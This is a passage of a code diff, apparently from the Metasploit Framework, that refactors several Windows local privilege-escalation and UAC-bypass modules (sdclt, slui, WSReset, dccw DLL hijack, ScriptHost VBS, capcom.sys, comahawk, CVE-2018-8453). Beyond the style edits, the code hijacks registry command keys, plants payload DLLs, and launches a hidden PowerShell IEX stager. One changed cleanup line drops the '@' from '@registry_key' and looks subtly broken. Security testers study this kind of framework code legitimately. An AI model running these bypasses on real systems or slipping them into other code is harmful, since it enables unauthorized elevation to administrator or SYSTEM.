else - ::File.join(path, "bypassuac-x64.dll") - end + fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System') end end @@ -137,12 +135,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] @@ -192,9 +188,9 @@ def spawn_inject_proc(win_dir) end # Upload only one DLL, the rest will be copied into the specific folders - def upload_payload_dll(payload_filepath, directoryNames) + def upload_payload_dll(_payload_filepath, directoryNames) dllPath = "#{directoryNames[0]}\\GdiPlus.dll" - payload = generate_payload_dccw_gdiplus_dll({ :dll_exitprocess => true }) + payload = generate_payload_dccw_gdiplus_dll({ dll_exitprocess: true }) print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded...") @@ -212,7 +208,7 @@ def upload_payload_dll(payload_filepath, directoryNames) def copy_payload_dll(directoryNames, dllPath) 1.step(directoryNames.size - 1, 1) do |i| if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false - print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...") + print_error('Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...') end end end @@ -221,13 +217,12 @@ def copy_payload_dll(directoryNames, dllPath) def validate_environment! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? - winver = sysinfo['OS'] - - case winver - when /Windows (8|10)/ - print_good("#{winver} may be vulnerable.") + version = get_version_info + if (!version.windows_server? && version.build_number >= Msf::WindowsVersion::Win8) || + (version.windows_server? && version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2019)) + print_good("#{version.product_name} may be vulnerable.") else - fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.") end if is_uac_enabled? @@ -245,7 +240,7 @@ def validate_environment! def create_directories(payload_filepath, directoryNames) env_vars = get_envs('TEMP') - print_status("Creating temporary folders...") + print_status('Creating temporary folders...') if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0 fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"") end @@ -261,19 +256,19 @@ def create_directories(payload_filepath, directoryNames) def get_directories(payload_filepath, targetedDirectories) directoryNames = [] findFileDataSize = 592 - maxPath = client.railgun.const("MAX_PATH") + maxPath = client.railgun.const('MAX_PATH') fileNamePadding = 44 hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize) - if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE") - fail_with(Failure::Unknown, "Cannot get the targeted directories!") + if hFile['return'] == client.railgun.const('INVALID_HANDLE_VALUE') + fail_with(Failure::Unknown, 'Cannot get the targeted directories!') end findFileData = hFile['lpFindFileData'] moreFiles = true - until moreFiles == false do + until moreFiles == false fileAttributes = findFileData[0, 4].unpack('V').first - andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY") + andOperation = fileAttributes & client.railgun.const('FILE_ATTRIBUTE_DIRECTORY') if andOperation # Removes the remainder part composed of 'A' of the path and the last null character normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split("\x00", 2).first @@ -287,8 +282,8 @@ def get_directories(payload_filepath, targetedDirectories) end client.railgun.kernel32.FindClose(hFile['return']) - if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES") - fail_with(Failure::Unknown, "Cannot get the targeted directories!") + if findNextFile['GetLastError'] != client.railgun.const('ERROR_NO_MORE_FILES') + fail_with(Failure::Unknown, 'Cannot get the targeted directories!') end directoryNames @@ -330,8 +325,8 @@ def fill_struct_path(path) # When a new session is obtained, it removes the dropped elements (files and folders) def on_new_session(session) - if session.type == 'meterpreter' - session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + if session.type == 'meterpreter' && !session.ext.aliases.include?('stdapi') + session.core.use('stdapi') end remove_dropped_elements(session) end @@ -345,9 +340,9 @@ def remove_dropped_elements(session) sysarch = sysinfo['Architecture'] if sysarch == ARCH_X86 - targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*" + targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*' else - targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*" + targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*' end directoryNames = get_directories(payload_filepath, targetedDirectories) @@ -366,7 +361,7 @@ def remove_dropped_elements(session) # and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\" def remove_dlls(session, directoryNames, file_paths, droppedElements) directoryNames.each do |dirName| - directoryName = dirName.split("\\").last + directoryName = dirName.split('\\').last begin droppedElements.push("#{dirName}\\GdiPlus.dll") @@ -387,7 +382,7 @@ def remove_dlls(session, directoryNames, file_paths, droppedElements) # Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\" def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements) directoryNames.each do |dirName| - directoryName = dirName.split("\\").last + directoryName = dirName.split('\\').last begin droppedElements.push(dirName) @@ -427,21 +422,19 @@ def removal_checking(droppedElements) successfullyRemoved = true droppedElements.each do |element| - begin - stat = session.fs.file.stat(element) - if stat - print_error("Unable to delete #{element}!") - successfullyRemoved = false - end - rescue ::Rex::Post::Meterpreter::RequestError => e - vprint_error("Error => #{e.class} - #{e}") + stat = session.fs.file.stat(element) + if stat + print_error("Unable to delete #{element}!") + successfullyRemoved = false end + rescue ::Rex::Post::Meterpreter::RequestError => e + vprint_error("Error => #{e.class} - #{e}") end if successfullyRemoved - print_good("All the dropped elements have been successfully removed") + print_good('All the dropped elements have been successfully removed') else - print_warning("Could not delete some dropped elements! They will require manual cleanup on the target") + print_warning('Could not delete some dropped elements! They will require manual cleanup on the target') end end end diff --git a/modules/exploits/windows/local/bypassuac_sdclt.rb b/modules/exploits/windows/local/bypassuac_sdclt.rb index 2ea0fcdb000f0..b2456fb6bde06 100644 --- a/modules/exploits/windows/local/bypassuac_sdclt.rb +++ b/modules/exploits/windows/local/bypassuac_sdclt.rb @@ -63,7 +63,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled? + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe @@ -71,13 +72,11 @@ def check end def write_reg_values(registry_key, payload_pathname) - begin - registry_createkey(registry_key) unless registry_key_exist?(registry_key) - registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ") - registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ") - rescue ::Exception => e - print_error(e.to_s) - end + registry_createkey(registry_key) unless registry_key_exist?(registry_key) + registry_setvaldata(registry_key, 'DelegateExecute', '', 'REG_SZ') + registry_setvaldata(registry_key, '', payload_pathname, 'REG_SZ') + rescue ::Exception => e + print_error(e.to_s) end def exploit @@ -104,55 +103,55 @@ def exploit # get directory locations straight win_dir = session.sys.config.getenv('windir') - vprint_status("win_dir = " + win_dir) + vprint_status('win_dir = ' + win_dir) tmp_dir = session.sys.config.getenv('tmp') - vprint_status("tmp_dir = " + tmp_dir) - exploit_dir = win_dir + "\\System32\\" - vprint_status("exploit_dir = " + exploit_dir) - target_filepath = exploit_dir + "sdclt.exe" - vprint_status("exploit_file = " + target_filepath) + vprint_status('tmp_dir = ' + tmp_dir) + exploit_dir = win_dir + '\\System32\\' + vprint_status('exploit_dir = ' + exploit_dir) + target_filepath = exploit_dir + 'sdclt.exe' + vprint_status('exploit_file = ' + target_filepath) # make payload payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe' payload_pathname = tmp_dir + '\\' + payload_name - vprint_status("payload_pathname = " + payload_pathname) - vprint_status("Making Payload") + vprint_status('payload_pathname = ' + payload_pathname) + vprint_status('Making Payload') payload = generate_payload_exe reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" - vprint_status("reg_command = " + reg_command) + vprint_status('reg_command = ' + reg_command) write_reg_values(@registry_key, reg_command) # Upload payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) - vprint_status("Payload Upload Complete") + vprint_status('Payload Upload Complete') - vprint_status("Launching " + target_filepath) + vprint_status('Launching ' + target_filepath) begin session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) rescue ::Exception => e print_error("Executing command failed:\n#{e}") end print_warning("This exploit requires manual cleanup of '#{payload_pathname}'") - print_status("Please wait for session and cleanup....") + print_status('Please wait for session and cleanup....') end def cleanup if @registry_key.present? - vprint_status("Removing Registry Changes") + vprint_status('Removing Registry Changes') if @remove_registry_key registry_deletekey(@registry_key) else - registry_deleteval(@registry_key, "DelegateExecute") + registry_deleteval(registry_key, "DelegateExecute") registry_deleteval(@registry_key, '') end - print_status("Registry Changes Removed") + print_status('Registry Changes Removed') end end def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin diff --git a/modules/exploits/windows/local/bypassuac_sluihijack.rb b/modules/exploits/windows/local/bypassuac_sluihijack.rb index 6afed291cb103..728b2c3fceb83 100644 --- a/modules/exploits/windows/local/bypassuac_sluihijack.rb +++ b/modules/exploits/windows/local/bypassuac_sluihijack.rb @@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Registry include Post::Windows::Runas - SLUI_DEL_KEY = "HKCU\\Software\\Classes\\exefile".freeze - SLUI_WRITE_KEY = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze + SLUI_DEL_KEY = 'HKCU\\Software\\Classes\\exefile'.freeze + SLUI_WRITE_KEY = 'HKCU\\Software\\Classes\\exefile\\shell\\open\\command'.freeze EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze EXEC_REG_VAL = ''.freeze # This maps to "(Default)" EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze - SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze + SLUI_PATH = '%WINDIR%\\System32\\slui.exe'.freeze CMD_MAX_LEN = 16383 def initialize(info = {}) @@ -68,7 +68,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled? + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win10_1909) CheckCode::Appears else CheckCode::Safe @@ -82,7 +83,7 @@ def exploit commspec = 'powershell' registry_view = REGISTRY_VIEW_NATIVE - psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" + psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe' # Make sure we have a sane payload configuration if sysinfo['Architecture'] == ARCH_X64 @@ -92,18 +93,16 @@ def exploit if target_arch.first == ARCH_X64 # We can't use absolute path here as # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session - psh_path = "powershell.exe" + psh_path = 'powershell.exe' end end if target_arch.first == ARCH_X86 # Invoking x86, so switch to SysWOW64 - psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe" + psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe' end - else + elsif target_arch.first == ARCH_X64 # if we're on x86, we can't handle x64 payloads - if target_arch.first == ARCH_X64 - fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') - end + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end if !payload.arch.empty? && (payload.arch.first != target_arch.first) @@ -138,14 +137,14 @@ def exploit psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" - existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" + existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || '' exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil? if existing.empty? registry_createkey(SLUI_WRITE_KEY, registry_view) end - print_status("Configuring payload and stager registry keys ...") + print_status('Configuring payload and stager registry keys ...') unless exist_delegate registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view) end @@ -167,7 +166,7 @@ def exploit handler(client) - print_status("Cleaning up ...") + print_status('Cleaning up ...') unless exist_delegate registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view) end @@ -181,7 +180,7 @@ def exploit def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin @@ -192,12 +191,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb index 44205dcc929aa..b7720eca3f998 100644 --- a/modules/exploits/windows/local/bypassuac_vbs.rb +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -12,32 +12,33 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Priv include Post::Windows::Runas - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)', - 'Description' => %q{ - This module will bypass Windows UAC by utilizing the missing .manifest on the script host - cscript/wscript.exe binaries. - }, - 'License' => MSF_LICENSE, - 'Author' => [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)', + 'Description' => %q{ + This module will bypass Windows UAC by utilizing the missing .manifest on the script host + cscript/wscript.exe binaries. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Vozzie', 'Ben Campbell' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] - ], - 'DefaultTarget' => 0, - 'References' => - [ + ], + 'DefaultTarget' => 0, + 'References' => [ ['URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html'], ['URL', 'https://github.com/Vozzie/uacscript'] ], - 'DisclosureDate'=> '2015-08-22' - )) - + 'DisclosureDate' => '2015-08-22' + ) + ) end def exploit @@ -52,19 +53,18 @@ def exploit env_vars = get_envs('TEMP', 'WINDIR') case get_uac_level - when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT - fail_with(Failure::NotVulnerable, - "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." - ) - when UAC_DEFAULT - print_good('UAC is set to Default') - print_good('BypassUAC can bypass this setting, continuing...') - when UAC_NO_PROMPT - print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') - shell_execute_exe - return + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return end vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs" @@ -82,12 +82,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] @@ -97,9 +95,9 @@ def check_permissions! def upload_vbs(payload_filepath) vbs = File.read(File.join(Msf::Config.data_directory, - 'exploits', - 'scripthost_uac_bypass', - 'bypass.vbs')) + 'exploits', + 'scripthost_uac_bypass', + 'bypass.vbs')) command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true) @@ -117,13 +115,11 @@ def upload_vbs(payload_filepath) def validate_environment! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? - winver = sysinfo['OS'] - - case winver - when /Windows (7|2008)/ - print_good("#{winver} may be vulnerable.") + version = get_version_info + if version.win7_or_2008r2? + print_good("#{version.product_name} may be vulnerable.") else - fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.") end if is_uac_enabled? diff --git a/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb b/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb index 5ae61cd8770a3..c1e5d0f1e0256 100644 --- a/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb +++ b/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb @@ -38,7 +38,7 @@ def initialize(info = {}) }, 'DisclosureDate' => '2019-08-22', 'Notes' => { - 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] }, 'References' => [ ['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'], @@ -53,13 +53,14 @@ def initialize(info = {}) stdapi_sys_process_execute ] } - }, + } ) ) end def check - if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe") + version = get_version_info + if version.build_number > Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && exists?('C:\\Windows\\System32\\WSReset.exe') return CheckCode::Appears end @@ -93,9 +94,9 @@ def exploit return end - exploit_win_dir = "C:\\Windows \\" - exploit_dir = "C:\\Windows \\System32\\" - exploit_file = exploit_dir + "WSReset.exe" + exploit_win_dir = 'C:\\Windows \\' + exploit_dir = 'C:\\Windows \\System32\\' + exploit_file = exploit_dir + 'WSReset.exe' unless exists? exploit_win_dir print_status("Creating directory '#{exploit_win_dir}'...") session.fs.dir.mkdir(exploit_win_dir) @@ -105,14 +106,14 @@ def exploit session.fs.dir.mkdir(exploit_dir) end unless exists? exploit_file - session.fs.file.copy("C:\\Windows\\System32\\WSReset.exe", exploit_file) + session.fs.file.copy('C:\\Windows\\System32\\WSReset.exe', exploit_file) end - payload_dll = "C:\\Windows \\System32\\propsys.dll" + payload_dll = 'C:\\Windows \\System32\\propsys.dll' print_status("Creating payload '#{payload_dll}'...") payload = generate_payload_dll write_file(payload_dll, payload) - print_status("Executing WSReset.exe...") + print_status('Executing WSReset.exe...') begin session.sys.process.execute("cmd.exe /c \"#{exploit_file}\"", nil, { 'Hidden' => true }) rescue ::Exception => e @@ -123,7 +124,7 @@ def exploit def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin @@ -134,12 +135,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_windows_store_reg.rb b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb index 8644ccb106cb2..8c2c65e2f21c5 100644 --- a/modules/exploits/windows/local/bypassuac_windows_store_reg.rb +++ b/modules/exploits/windows/local/bypassuac_windows_store_reg.rb @@ -61,7 +61,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe") + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled? && exists?('C:\\Windows\\System32\\WSReset.exe') return CheckCode::Appears end @@ -88,40 +89,40 @@ def exploit # get directory locations straight win_dir = session.sys.config.getenv('windir') - vprint_status("win_dir = " + win_dir) + vprint_status('win_dir = ' + win_dir) tmp_dir = session.sys.config.getenv('tmp') - vprint_status("tmp_dir = " + tmp_dir) - exploit_dir = win_dir + "\\System32\\" - vprint_status("exploit_dir = " + exploit_dir) - reset_filepath = exploit_dir + "WSReset.exe" - vprint_status("exploit_file = " + reset_filepath) + vprint_status('tmp_dir = ' + tmp_dir) + exploit_dir = win_dir + '\\System32\\' + vprint_status('exploit_dir = ' + exploit_dir) + reset_filepath = exploit_dir + 'WSReset.exe' + vprint_status('exploit_file = ' + reset_filepath) # make payload - payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe' payload_pathname = tmp_dir + '\\' + payload_name - vprint_status("payload_pathname = " + payload_pathname) - vprint_status("Making Payload") + vprint_status('payload_pathname = ' + payload_pathname) + vprint_status('Making Payload') payload = generate_payload_exe reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" vprint_status("reg_command = " + reg_command) - @registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command" + @registry_key = 'HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command' # make registry changes vprint_status("Making Registry Changes") begin registry_createkey(@registry_key) - registry_setvaldata(@registry_key, "DelegateExecute", '', "REG_SZ") - registry_setvaldata(@registry_key, '', reg_command, "REG_SZ") + registry_setvaldata(@registry_key, 'DelegateExecute', '', 'REG_SZ') + registry_setvaldata(@registry_key, '', reg_command, 'REG_SZ') rescue ::Exception => e print_error(e.to_s) end - vprint_status("Registry Changes Complete") + vprint_status('Registry Changes Complete') # Upload payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) - vprint_status("Payload Upload Complete") + vprint_status('Payload Upload Complete') - vprint_status("Launching " + reset_filepath) + vprint_status('Launching ' + reset_filepath) begin session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true) rescue ::Exception => e @@ -132,15 +133,15 @@ def exploit def cleanup if @registry_key.present? - vprint_status("Removing Registry Changes") + vprint_status('Removing Registry Changes') registry_deletekey(@registry_key) - vprint_status("Registry Changes Removed") + vprint_status('Registry Changes Removed') end end def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin @@ -151,12 +152,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/capcom_sys_exec.rb b/modules/exploits/windows/local/capcom_sys_exec.rb index d03fd7af7aed8..2250506878c71 100644 --- a/modules/exploits/windows/local/capcom_sys_exec.rb +++ b/modules/exploits/windows/local/capcom_sys_exec.rb @@ -32,7 +32,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows x64 (<= 10)', { 'Arch' => ARCH_X64 } ] @@ -60,7 +60,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] !~ /windows (7|8|10)/i + version = get_version_info + if version.build_number < Msf::WindowsVersion::Win7_SP0 || version.windows_server? return Exploit::CheckCode::Unknown end @@ -71,13 +72,13 @@ def check # Validate that the driver has been loaded and that # the version is the same as the one expected client.sys.config.getdrivers.each do |d| - if d[:basename].downcase == 'capcom.sys' - expected_checksum = '73c98438ac64a68e88b7b0afd11ba140' - target_checksum = client.fs.file.md5(d[:filename]) + next unless d[:basename].downcase == 'capcom.sys' - if expected_checksum == Rex::Text.to_hex(target_checksum, '') - return Exploit::CheckCode::Appears - end + expected_checksum = '73c98438ac64a68e88b7b0afd11ba140' + target_checksum = client.fs.file.md5(d[:filename]) + + if expected_checksum == Rex::Text.to_hex(target_checksum, '') + return Exploit::CheckCode::Appears end end diff --git a/modules/exploits/windows/local/comahawk.rb b/modules/exploits/windows/local/comahawk.rb index 4061907b958b1..5c791e998dfae 100644 --- a/modules/exploits/windows/local/comahawk.rb +++ b/modules/exploits/windows/local/comahawk.rb @@ -82,7 +82,7 @@ def exploit payload_exe = generate_payload_exe # Check target - vprint_status("Checking Target") + vprint_status('Checking Target') validate_active_host validate_target fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path) @@ -95,42 +95,39 @@ def exploit print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") # Upload Payload - vprint_status("Uploading Payload") + vprint_status('Uploading Payload') ensure_clean_destination(payload_path) write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") print_warning("This exploit requires manual cleanup of the payload #{payload_path}") # Run Exploit - vprint_status("Running Exploit") - print_status("It may take a moment after the session is established for the exploit to exit safely.") + vprint_status('Running Exploit') + print_status('It may take a moment after the session is established for the exploit to exit safely.') begin cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60) rescue Rex::TimeoutError => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) - print_error("Caught timeout. Exploit may be taking longer or it may have failed.") + print_error('Caught timeout. Exploit may be taking longer or it may have failed.') end vprint_status("Cleaning up #{exploit_path}") ensure_clean_destination(exploit_path) end def validate_active_host - begin - print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") - rescue Rex::Post::Meterpreter::RequestError => e - elog('Could not connect to session', error: e) - raise Msf::Exploit::Failed, 'Could not connect to session' - end + print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + rescue Rex::Post::Meterpreter::RequestError => e + elog('Could not connect to session', error: e) + raise Msf::Exploit::Failed, 'Could not connect to session' end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Build Number = #{build_num}") - unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362) + version = get_version_info + vprint_status("OS version: #{version}") + unless version.build_number.between?(Msf::WindowsVersion::Win10_1803, Msf::WindowsVersion::Win10_1809) fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362') end end diff --git a/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb b/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb index bae9363aec295..3a6eb8f3d2a29 100644 --- a/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb +++ b/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb @@ -41,7 +41,7 @@ def initialize(info = {}) 'Windows 10 v1703 (Build 15063) x86', { 'UniqueProcessIdOffset' => 180, 'TokenOffset' => 252, - 'Version' => 'Build 15063' + 'Version' => Msf::WindowsVersion::Win10_1703 } ] ], @@ -74,7 +74,8 @@ def initialize(info = {}) def target_info fail_with(Failure::None, 'Session is already elevated') if is_system? - unless sysinfo['OS'].include?(target['Version']) && sysinfo['Architecture'] == 'x86' + version = get_version_info + unless version.build_number == target['Version'] && sysinfo['Architecture'] == 'x86' fail_with(Failure::NoTarget, 'Target is not compatible with exploit') end end diff --git a/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb b/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb index 